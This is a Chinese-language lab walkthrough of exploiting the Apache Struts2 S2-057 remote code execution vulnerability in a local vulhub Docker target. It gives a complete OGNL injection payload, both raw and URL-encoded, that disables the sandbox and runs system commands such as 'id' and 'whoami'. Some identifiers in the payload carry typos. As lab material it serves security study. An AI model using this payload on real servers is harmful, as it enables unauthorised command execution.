漏洞简介:
漏洞产生于网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。
S2-057 先决条件:
alwaysSelectFullNamespace 正确-操作元素未设置名称空间属性,或使用了通配符用户将从 uri 传递命名空间,并将其解析为 OGNL 表达式,最终导致远程代码执行漏洞。
漏洞利用:
第一步:打开环境
cd vulhub/struts2/s2-057
docker-compose up -d
docker-compose ps
第二步:访问靶机地址
ip地址/struts2-showcase
在url处输入如下代码
http://ip地址struts2-
showcase/${(123+123)}/actionChain1.action
刷新可以看到中间数字位置相加了
第三步:构建payload,抓包。
将上面验证payload的值替换为我们的,利用exp。抓 http://ip地址struts2-
showcase/${(123+123)}/actionChain1.action的包。
将下方的代码url编码后插入到原来的${(123+123)},将其替换掉。
${
(#dm=@ognl.0gnlContext@DEFAULT MEMBER ACCESS).(#ct=#request['struts.valuestack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.0gnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id' )).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
编码后是:
%24%7B%0A(%23dm%3D%40ognl.0gnlContext%40DEFAULT%20MEMBER%20ACCESS).(%23ct%3D%23request%5B'struts.valuestack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.0gnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('id'%20)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D
可以查看到了id的信息,
将其改为whoami或者其他的系统命令,查看到当前的用户为root。